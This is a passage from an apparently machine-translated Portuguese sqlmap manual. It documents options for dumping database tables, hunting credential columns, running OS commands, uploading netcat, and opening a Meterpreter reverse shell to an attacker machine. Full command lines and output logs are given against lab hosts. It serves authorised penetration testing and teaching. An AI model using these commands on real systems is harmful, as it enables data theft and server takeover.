+----------+----------+
| Column | Type |
+----------+----------+
| date | datetime |
| browser | text |
| cid | int(11) |
| hostname | text |
| ip | text |
| referer | text |
+----------+----------+

Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column | Type |
+---------+---------------+
| id | int(11) |
| name | varchar(500) |
| surname | varchar(1000) |
+---------+---------------+
[...]

Recuperar o número de entradas para a (s) tabela (s)


Interruptor: --count

No caso de que o usuário queira apenas saber o número de entradas na tabela (s) antes de
despejar o desejado, ele pode usar essa opção.

Exemplo contra um destino do Microsoft SQL Server:

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\


--count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table | Entries |
+----------------+---------+
| dbo.users | 4 |
| dbo.users_blob | 2 |
+----------------+---------+

Dump entradas da tabela de banco de dados


Switch e opções: --dump , -C , -T , -D , --start , --stop , --first , --last , --pivot-
column e --where

Quando o usuário da sessão tiver acesso de leitura à tabela de um banco de dados específico, é
possível despejar as entradas da tabela.

Essa funcionalidade depende da opção -T para especificar o nome da tabela e opcionalmente


em opção -D para especificar o nome do banco de dados. Se o nome da tabela for fornecido,
mas o nome do banco de dados não for, o nome do banco de dados atual será usado.

Exemplo contra um destino do Firebird:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1"\


--dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME | SURNAME |
+----+--------+------------+
| 1 | luther | blisset |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | NULL | nameisnull |
+----+--------+------------+

Essa opção também pode ser usada para despejar entradas de todas as tabelas de um banco de
dados fornecido. Você simplesmente tem que fornecer sqlmap com o switch juntamente com --
dump apenas a opção -D (não -T e não -C ).

Você também pode fornecer uma lista separada por vírgulas das colunas específicas para
despejar com a opção -C .

Sqlmap também gera para cada tabela despejado as entradas em um arquivo de texto de formato
CSV. Você pode ver o caminho absoluto onde sqlmap cria o arquivo fornecendo um nível de
verbosidade maior ou igual a 1 .

Se você quiser despejar apenas um intervalo de entradas, então você pode fornecer opções --
start e / ou --stop para, respectivamente, começar a despejar de uma determinada entrada e
parar o despejo em uma determinada entrada. Por exemplo, se você quiser despejar apenas a
primeira entrada, forneça --stop 1 na linha de comando. Vice-versa, se, por exemplo, você
deseja despejar apenas a segunda e terceira entrada, fornecer --start 1 --stop 3 .

Também é possível especificar qual caractere único ou intervalo de caracteres para despejar com
opções --first e --last . Por exemplo, se você quiser despejar entradas de colunas do
terceiro para o quinto caractere, forneça --first 3 --last 5 . Esse recurso aplica-se apenas
às técnicas de injeção SQL cego, pois para técnicas de injeção SQL com base em erros e UNION,
o número de solicitações é exatamente o mesmo, independentemente do comprimento da saída
da entrada da coluna para despejo.

Às vezes (por exemplo, para Microsoft SQL Server, Sybase e SAP MaxDB) não é possível despejar
as linhas da tabela direta usando OFFSET m, n mecanismo por causa da falta de similar. Em tais
casos, o sqlmap despeja o conteúdo determinando a pivot coluna mais adequada (aquela com
a maioria dos valores exclusivos) cujos valores serão usados posteriormente para recuperar
outros valores de coluna. Se for necessário aplicar o uso de determinada pivot coluna porque o
escolhido automaticamente não é adequado (por exemplo, devido à falta de resultados de
despejo de tabela) você pode usar a opção --pivot-column (ex --pivot-column=id .).

No caso de você desejar restringir o despejo para valores de coluna específicos (ou intervalos),
você pode usar a opção --where . A operação lógica fornecida será automaticamente usada
dentro da WHERE cláusula. Por exemplo, se você usar --where="id>3" somente linhas de tabela
com valor de coluna id maior que 3 será recuperado (adicionando WHERE id>3 a consultas de
despejo usadas).

Como você pode ter notado até agora, sqlmap é flexível : você pode deixá-lo para despejar
automaticamente a tabela de banco de dados inteira ou você pode ser muito preciso em quais
caracteres para despejo, a partir de quais colunas e qual intervalo de entradas.

Dump todas as entradas de tabelas de bancos de dados


Comutadores: --dump-all e --exclude-sysdbs

É possível despejar todas as entradas de tabelas de bancos de dados de uma vez que o usuário
da sessão tem acesso de leitura em.

Você também pode fornecer a opção --exclude-sysdbs para excluir todos os bancos de dados
do sistema. Nesse caso, sqlmap irá apenas despejar entradas de tabelas de bancos de dados de
usuários.

Observe que no Microsoft SQL Server o master banco de dados não é considerado um banco de
dados do sistema porque alguns administradores de banco de dados o usam como um banco de
dados de usuários.

Procurar por colunas, tabelas ou bases de dados


Mudar e opções: --search , -C , -T , -D

Essa opção permite procurar nomes de bancos de dados específicos, tabelas específicas em
todos os bancos de dados ou colunas específicas em todas as tabelas de bancos de dados .

Isso é útil, por exemplo, para identificar tabelas que contêm credenciais de aplicativos
personalizados onde nomes de colunas relevantes contêm seqüência de caracteres como nome e
pass .

O switch --search precisa ser usado em conjunto com uma das seguintes opções de suporte:

-C Seguindo uma lista de nomes de colunas separados por vírgulas para procurar em todo
o sistema de gerenciamento de banco de dados.
-T Seguindo uma lista de nomes de tabela separados por vírgulas para procurar em todo o
sistema de gerenciamento de banco de dados.
-D Seguindo uma lista de nomes de banco de dados separados por vírgulas para procurar
em todo o sistema de gerenciamento de banco de dados.

Executar instrução SQL personalizada


Opção e alternar: --sql-query e --sql-shell

A consulta SQL e os recursos de shell SQL permitem executar declarações SQL arbitrárias no
sistema de gerenciamento de banco de dados. Sqlmap disseca automaticamente a instrução
fornecida, determina qual técnica é apropriada para usar para injetá-lo e como empacotar a carga
útil do SQL de acordo.

Se a consulta for uma SELECT instrução, o sqlmap recuperará sua saída. Caso contrário, ele
executará a consulta através da técnica de injeção SQL de consulta empilhada se o aplicativo da
Web suportar várias instruções no sistema de gerenciamento de banco de dados back-end. Tenha
em atenção que algumas tecnologias de aplicações Web não suportam consultas empilhadas em
sistemas de gestão de bases de dados específicos. Por exemplo, o PHP não suporta consultas
empilhadas quando o DBMS back-end é o MySQL, mas suporta quando o DBMS back-end é o
PostgreSQL.

Exemplos contra um destino do Microsoft SQL Server 2000:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\


sql-query "SELECT 'foo'" -v 1

[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo': 'foo'

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\


sql-query "SELECT 'foo', 'bar'" -v 2

[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now
unpack it into distinct queries to be able to retrieve the output even if we are
going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS
VARCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
RCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar': 'foo, bar'

Como você pode ver, sqlmap divide a consulta fornecida em duas instruções SELECT diferentes,
em seguida, recupera a saída para cada consulta separada.

Se a consulta SELECT fornecida for uma instrução e contiver uma FROM cláusula, o sqlmap
perguntará se essa instrução pode retornar várias entradas. Nesse caso, a ferramenta sabe
descompactar a consulta corretamente para contar o número de entradas possíveis e recuperar
sua saída, entrada por entrada.

A opção shell SQL permite que você execute sua própria instrução SQL interativamente, como um
console SQL conectado ao sistema de gerenciamento de banco de dados. Esse recurso também
fornece suporte à conclusão TAB e histórico.

Força bruta

Esses switches podem ser usados para executar verificações de força bruta.

Nomes das tabelas de força bruta


Interruptor: --common-tables

Há casos em que a opção --tables não pode ser usada para recuperar os nomes das tabelas
dos bancos de dados. Estes casos geralmente se encaixam em uma das seguintes categorias:

O sistema de gerenciamento de banco de dados é MySQL <5.0 onde


information_schema não está disponível.

O sistema de gerenciamento de banco de dados é o Microsoft Access ea tabela do sistema


MSysObjects não é legível - configuração padrão.

O usuário da sessão não tem privilégios de leitura contra a tabela de sistema armazenando o
esquema dos bancos de dados.

Se qualquer um dos dois --tables primeiros casos se aplicar e você forneceu a opção , o
sqlmap solicitará uma pergunta para voltar a essa técnica. Qualquer um desses casos se aplica à
sua situação, sqlmap ainda pode identificar algumas tabelas existentes se você fornecê-lo com o
switch --common-tables . Sqlmap executará um ataque de força bruta para detectar a existência
de tabelas comuns em todo o DBMS.

A lista de nomes de tabela comuns é txt/common-tables.txt e você pode editá-la como


desejar.

Exemplo contra um destino MySQL 4.1:

$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --commo\


n-tables -D testdb --banner

[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL < 5.0.0
banner: '4.1.21-community-nt'

[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/tx


t/common-tables.txt'
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users

Database: testdb
[1 table]
+-------+
| users |
+-------+

Nomes de colunas de força bruta


Interruptor: --common-columns

Conforme tabelas, há casos em que switch --columns não pode ser usado para recuperar os
nomes das colunas das tabelas de bancos de dados. Estes casos geralmente se encaixam em
uma das seguintes categorias:

O sistema de gerenciamento de banco de dados é MySQL <5.0 onde


information_schema não está disponível.

O sistema de gerenciamento de banco de dados é o Microsoft Access, onde esse tipo de


informação não está disponível dentro das tabelas do sistema.
O usuário da sessão não tem privilégios de leitura contra a tabela de sistema armazenando o
esquema dos bancos de dados.

Se qualquer um dos dois --columns primeiros casos se aplicar e você forneceu a opção , o
sqlmap solicitará uma pergunta para voltar a essa técnica. Qualquer um desses casos se aplica à
sua situação, sqlmap ainda pode identificar algumas tabelas existentes se você fornecê-lo com o
switch --common-columns . O sqlmap executará um ataque de força bruta para detectar a
existência de colunas comuns no DBMS.

A lista de nomes de tabela comuns é txt/common-columns.txt e você pode editá-la como


desejar.

Injeção de função definida pelo usuário


Essas opções podem ser usadas para criar funções personalizadas definidas pelo usuário.

Injetar funções personalizadas definidas pelo usuário (UDF)


Alternar e opção: --udf-inject e --shared-lib

Você pode injetar suas próprias funções definidas pelo usuário (UDFs) compilando uma
biblioteca compartilhada do MySQL ou PostgreSQL, uma DLL para Windows e um objeto
compartilhado para Linux / Unix, então forneça sqlmap com o caminho onde a biblioteca
compartilhada é armazenada localmente em sua máquina. Sqlmap irá então fazer algumas
perguntas, carregar a biblioteca compartilhada no sistema de arquivos do servidor de banco de
dados, criar as funções definidas pelo usuário e, dependendo de suas opções, executá-las.
Quando você terminar de usar os UDFs injetados, sqlmap também pode removê-los do banco de
dados para você.

Estas técnicas são detalhadas no white paper Injeção de SQL Avançado para sistema operacional
controle total .

Use a opção --udf-inject e siga as instruções.

Se você quiser, você pode especificar o caminho do sistema de arquivos local da biblioteca
compartilhada através da linha de comando também usando a --shared-lib opção. O vice-
versa sqlmap pedirá o caminho em tempo de execução.

Esse recurso está disponível somente quando o sistema de gerenciamento de banco de dados é
MySQL ou PostgreSQL.

Acesso ao sistema de arquivos

Ler um arquivo do sistema de arquivos do servidor de banco de dados


Opção: --file-read

É possível recuperar o conteúdo dos arquivos do sistema de arquivos subjacente quando o


sistema de gerenciamento de banco de dados de back-end é o MySQL, o PostgreSQL ou o
Microsoft SQL Server eo usuário da sessão tem os privilégios necessários para abusar de
funcionalidades específicas do banco de dados e fraquezas arquitetônicas. O arquivo
especificado pode ser um arquivo textual ou um arquivo binário. Sqlmap irá lidar com ele
corretamente.

Estas técnicas são detalhadas no white paper Injeção de SQL Avançado para sistema operacional
controle total .

Exemplo contra um destino do Microsoft SQL Server 2005 para recuperar um arquivo binário:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?nam\


e=luther" --file-read "C:/example.exe" -v 1

[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:50] [INFO] fetching file: 'C:/example.exe'


[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to: '/software/sqlmap/output/192.168.136.129/files/
C__example.exe'
[...]

$ ls -l output/192.168.136.129/files/C__example.exe
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C_
_example.exe

$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI
) Intel 80386 32-bit

Fazer o upload de um arquivo para o sistema de arquivos do servidor de


banco de dados
Opções: --file-write e --file-dest

É possível fazer o upload de um arquivo local para o sistema de arquivos do servidor de banco de
dados quando o sistema de gerenciamento de banco de dados back-end é o MySQL, o
PostgreSQL ou o Microsoft SQL Server eo usuário da sessão tem os privilégios necessários para
abusar de funcionalidades específicas do banco de dados e fraquezas arquitetônicas. O arquivo
especificado pode ser um arquivo textual ou um arquivo binário. Sqlmap irá lidar com ele
corretamente.

Estas técnicas são detalhadas no white paper Injeção de SQL Avançado para sistema operacional
controle total .

Exemplo contra um destino MySQL para carregar um arquivo UPX comprimido binário:

$ file /software/nc.exe.packed
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32
-bit

$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -\


-file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0

[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success
fully written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b
ytes, same size as the local file '/software/nc.exe.packed'

Recuperação do sistema operacional

Executar o comando do sistema operacional arbitrário


Opção e alternar: --os-cmd e --os-shell

É possível executar comandos arbitrários no sistema operacional subjacente do servidor de


banco de dados quando o sistema de gerenciamento de banco de dados de back-end é o MySQL,
o PostgreSQL ou o Microsoft SQL Server eo usuário da sessão tem os privilégios necessários
para abusar de funcionalidades específicas do banco de dados e fraquezas arquitetônicas.

No MySQL e no PostgreSQL, os carregamentos de sqlmap (através da funcionalidade de upload


de arquivos explicada acima) uma biblioteca compartilhada (arquivo binário) contendo duas
funções definidas pelo usuário sys_exec() e sys_eval() , em seguida, cria essas duas funções
no banco de dados e chama um deles para executar o especificado Comando, dependendo da
escolha do usuário para exibir a saída padrão ou não. No Microsoft SQL Server, o sqlmap abusa
do xp_cmdshell procedimento armazenado: se ele estiver desativado (por padrão no Microsoft
SQL Server> = 2005), o sqlmap o habilita novamente; Se não existir, sqlmap cria-lo a partir do
zero.

Quando o usuário solicita a saída padrão, o sqlmap usa uma das técnicas de injeção de SQL de
enumeração (blind, inband ou baseado em erro) para recuperá-lo. Vice versa, se a saída padrão
não é necessária, a técnica de injeção de SQL de consulta empilhada é usada para executar o
comando.

Estas técnicas são detalhadas no white paper Injeção de SQL Avançado para sistema operacional
controle total .

Exemplo contra um destino PostgreSQL:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\


os-cmd id -v 1

[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'uid=104(postgres) gid=106(postgres) groups=106(post
gres)'

[hh:mm:19] [INFO] cleaning up the database management system


do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file sys
tem can only be deleted manually

Também é possível simular um shell real onde você pode digitar tantos comandos arbitrários
como você deseja. A opção é --os-shell e tem as mesmas funcionalidades TAB conclusão e
história que --sql-shell tem.

Onde as perguntas empilhadas não foram identificadas no aplicativo da web (por exemplo, PHP
ou ASP com o sistema de gerenciamento de banco de dados back-end sendo o MySQL) eo DBMS
é o MySQL, ainda é possível abusar da SELECT cláusula INTO OUTFILE para criar um backdoor
da web em uma pasta A raiz do documento do servidor web e ainda obter a execução do
comando assumindo que o back-end DBMS eo servidor web estão hospedados no mesmo
servidor. O sqlmap suporta esta técnica e permite que o usuário forneça uma lista separada por
vírgulas de possíveis subpastas de raiz de documentos onde tente fazer o upload do arquivo de
arquivo da Web eo posterior backdoor da Web. Além disso, o sqlmap tem seus próprios arquivos
e backdoors de arquivos web testados para os seguintes idiomas:

ASP
ASP.NET
JSP
PHP

Conexão com estado out-of-band: Meterpreter & friends


Switches e opções: --os-pwn , --os-smbrelay , --os-bof , --priv-esc , --msf-path e --
tmp-path

É possível estabelecer uma conexão TCP com estado out-of-band entre a máquina atacante eo
servidor de banco de dados subjacente ao sistema operacional quando o sistema de
gerenciamento de banco de dados back-end é o MySQL, PostgreSQL ou Microsoft SQL Server eo
usuário da sessão tem o necessário Privilégios para abusar de funcionalidades específicas do
banco de dados e fraquezas arquitetônicas. Este canal pode ser um prompt de comando
interativo, uma sessão Meterpreter ou uma sessão de interface gráfica com o usuário (VNC)
conforme a escolha do usuário.

Sqlmap depende do Metasploit para criar o shellcode e implementa quatro técnicas diferentes
para executá-lo no servidor de banco de dados. Estas técnicas são:

Banco de dados de execução em memória do shellcode Metasploit via sqlmap própria


função definida pelo usuário sys_bineval() . Suportado em MySQL e PostgreSQL - switch
--os-pwn .

Upload e execução de um standload autônomo de carga útil do Metasploit via sqlmap própria
função definida pelo usuário sys_exec() no MySQL e PostgreSQL ou via xp_cmdshell() no
Microsoft SQL Server - switch --os-pwn .
Execução do shellcode do Metasploit executando um ataque de reflexão SMB ( MS08-068 )
com uma solicitação de caminho UNC do servidor de banco de dados para a máquina do
invasor onde o smb_relay servidor Metasploit explora escuta. Suportado ao executar o
sqlmap com privilégios altos ( uid=0 ) no Linux / Unix e o DBMS de destino é executado
como Administrador no Windows - switch --os-smbrelay .
Execução em memória da memória do shellcode do Metasploit explorando o Microsoft SQL
Server 2000 e o sp_replwritetovarbin estouro de buffer de pilha baseado em
procedimento armazenado do Microsoft SQL Server 2000 ( MS09-004 ). Sqlmap tem seu
próprio exploit para acionar a vulnerabilidade com bypass automático de proteção de
memória DEP, mas depende do Metasploit para gerar o shellcode para ser executado após a
exploração - switch com êxito --os-bof .

Essas técnicas são detalhadas no white paper Injeção de SQL Avançado para controle total do
sistema operacional e no deck de slides Expandindo o controle sobre o sistema operacional a
partir do banco de dados .

Exemplo contra um alvo MySQL:


$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?\
id=1" --os-pwn --msf-path /software/metasploit

[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
>
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
>
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database und
erlying operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
>
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on
all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
>
which is the local address? [192.168.136.1]
which local port number do you want to use? [60641]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
>
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, p
lease wait..

_
| | o
_ _ _ _ _|_ __, , _ | | __ _|_
/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
| | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|

=[ metasploit v3.7.0-dev [core:3.7 api:1.0]


+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
=[ svn r12272 updated 4 days ago (2011.04.07)

PAYLOAD => windows/meterpreter/reverse_tcp


EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_b
ineval', please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) a
t Mon Apr 11 hh:mm:52 +0100 2011

meterpreter > Loading extension espia...success.


meterpreter > Loading extension incognito...success.
meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > Loading extension sniffer...success.
meterpreter > System Language : en_US
OS : Windows .NET Server (Build 3790, Service Pack 2).
Computer : W2K3R2
Architecture : x86
Meterpreter : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig

MS TCP Loopback interface


Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0

Intel(R) PRO/1000 MT Network Connection


Hardware MAC: 00:0c:29:fc:79:39
IP Address : 192.168.136.129
Netmask : 255.255.255.0

meterpreter > exit

[*] Meterpreter session 1 closed. Reason: User exit

Por padrão, o MySQL no Windows é SYSTEM executado como , no entanto, o PostgreSQL é


executado como um usuário de baixo privilégio postgres , tanto no Windows quanto no Linux.
Microsoft SQL Server 2000 por padrão é SYSTEM executado como , enquanto Microsoft SQL
Server 2005 e 2008 executar a maioria das vezes como NETWORK SERVICE e às vezes como
LOCAL SERVICE .

É possível fornecer sqlmap com switch --priv-esc para executar escalonamento de privilégios
de usuário do banco de dados através do getsystem comando do Metasploit, que inclui, entre
outros, a técnica kitrap0d ( MS10-015 ).

Acesso ao Registro do Windows

É possível acessar o registro do Windows quando o sistema de gerenciamento de banco de


dados back-end é o MySQL, o PostgreSQL ou o Microsoft SQL Server e quando o aplicativo da
Web suporta consultas empilhadas. Além disso, o usuário da sessão deve ter os privilégios
necessários para acessá-lo.

Ler um valor de chave de registro do Windows


Interruptor: --reg-read

Usando esse parâmetro você pode ler valores de chave de registro.

Escrever um valor de chave de registro do Windows


Interruptor: --reg-add

Usando essa opção você pode gravar valores de chave de registro.

Excluir uma chave de registro do Windows


Interruptor: --reg-del

Usando esse parâmetro você pode excluir chaves de registro.

Opções de Registro Auxiliar


Opções: --reg-key , --reg-value , --reg-data e --reg-type

Essas opções podem ser usadas para fornecer dados necessários para o correto funcionamento
de switches --reg-read , --reg-add e --reg-del . Assim, em vez de fornecer informações de
chave de registro quando solicitado, você pode usá-los no prompt de comando como argumentos
do programa.

Com a --reg-key opção você especifica o caminho de chave de registro do Windows usado,
com o --reg-value nome do item de valor dentro da chave fornecida, com os --reg-
data dados de valor, enquanto que com a --reg-type opção você especifica o tipo do item de
valor.

Uma linha de comando de exemplo para adicionar um ramo de chave de registro segue:

$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --r\


eg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-ty\
pe=REG_SZ --reg-data=1

Geral

Estas opções podem ser usadas para definir alguns parâmetros de trabalho gerais.

Carregar sessão de um arquivo armazenado (.sqlite)


Opção: -s

Sqlmap cria automaticamente um arquivo SQLite de sessão persistente para cada destino, dentro
do diretório de saída dedicado, onde armazena todos os dados necessários para o resumal da
sessão. Se o usuário desejar definir explicitamente o local do arquivo de sessão (por exemplo,
para armazenar dados de sessão para vários destinos em um único local), ele poderá usar essa
opção.

Log HTTP (s) de tráfego para um arquivo de texto


Opção: -t

Esta opção requer um argumento que especificou o arquivo de texto para gravar todo o tráfego
HTTP (s) gerado por sqlmap - solicitações HTTP (S) e respostas HTTP (S).

Isso é útil principalmente para fins de depuração - quando você fornecer os desenvolvedores com
um relatório de bug potencial, enviar este arquivo também.

Aja em modo não interativo


Interruptor: --batch

Se você quiser sqlmap para executar como uma ferramenta de lote, sem a interação de qualquer
usuário quando sqlmap requer, você pode forçar que usando o switch --batch . Isso deixará
sqlmap para ir com um comportamento padrão sempre que a entrada do usuário seria
necessária.

Recuperação de conteúdo binário


Opção --binary-fields

No caso de recuperação de conteúdo binário, como no exemplo de tabelas com coluna (s) com
valores binários armazenados (por exemplo, coluna password com valores de hash de senha
binários armazenados ), é possível usar a opção --binary-fields para (extra) manuseio
apropriado por sqlmap. Todos esses campos (ou seja, colunas de tabela) são então recuperados
e representados em sua representação hexadecimal, então, posteriormente, eles poderiam ser
processados corretamente com outras ferramentas (por exemplo john ).

Forçar codificação de caracteres usada para recuperação de dados


Opção: --charset

Para a descodificação adequada de dados de caractere, o sqlmap usa qualquer informação


fornecida pelo servidor web (por exemplo, cabeçalho HTTP Content-Type ) ou um resultado
heurístico proveniente de um chardet de biblioteca de terceiros .
No entanto, existem casos em que este valor tem de ser substituído, especialmente quando se
recuperam dados contendo letras internacionais não ASCII (por exemplo --charset=GBK ). Deve
notar-se que existe a possibilidade de que a informação de carácter seja irreversivelmente
perdida devido à incompatibilidade implícita entre o conteúdo de base de dados armazenado e o
conector de base de dados utilizado no lado alvo.

Rastrear o site a partir do URL de destino


Opção: --crawl

Sqlmap pode coletar links potencialmente vulneráveis coletando-os (rastreamento) a partir do


local de destino. Usando esta opção, o usuário pode definir uma profundidade (distância de um
local inicial) abaixo do qual o sqlmap não entrará na fase de coleta, já que o processo está sendo
feito recursivamente desde que haja novos links a serem visitados.

Exemplo executado contra um destino MySQL:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3


[...]
[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:00] [INFO] 42/56 links visited (75%)
[...]

Opção --crawl-exclude

Com esta opção, você pode excluir páginas do rastreamento fornecendo uma expressão regular.
Por exemplo, se você quiser ignorar todas as páginas que têm a palavra-chave logout em seus
caminhos, você pode usar --crawl-exclude=logout .

Caractere de delimitação usado na saída CSV


Opção: --csv-del

Quando os dados sendo --dump-format=CSV despejados são armazenados no formato CSV ( ),


as entradas devem ser separadas com um "valor de separação" (padrão é , ). No caso de o
usuário desejar substituir seu valor padrão, ele pode usar esta opção (ex --csv-del=";" .).

Credenciais de autenticação do SGBD


Opção: --dbms-cred

Em alguns casos, o usuário será avisado de que algumas operações falharam devido à falta de
privilégios de usuário do SGBD atual e que ele poderia tentar usar essa opção. Nesses casos, se
ele fornecer admin credenciais de usuário ao sqlmap usando esta opção, o sqlmap tentará
executar novamente a parte problemática com mecanismos especializados "executar como" (por
exemplo, OPENROWSET no Microsoft SQL Server) usando essas credenciais.

Formato dos dados objecto de dumping


Opção: --dump-format

SqlMap suporta três tipos diferentes de formatação quando o armazenamento de dados da tabela
despejados no arquivo correspondente dentro de um diretório de saída: CSV , HTML e SQLITE .
Um padrão é CSV , onde cada linha de tabela é armazenada em um arquivo de texto linha por
linha e onde cada entrada é separada com um caractere de vírgula , (ou um fornecido com
opção --csv-del ). No caso de HTML , a saída está sendo armazenada em um arquivo HTML,
onde cada linha é representada com uma linha dentro de uma tabela formatada. No caso de
SQLITE , a saída está sendo armazenada em um banco de dados SQLITE, onde o conteúdo da
tabela original é replicado na tabela correspondente com o mesmo nome.

Tempo estimado de chegada


Interruptor: --eta

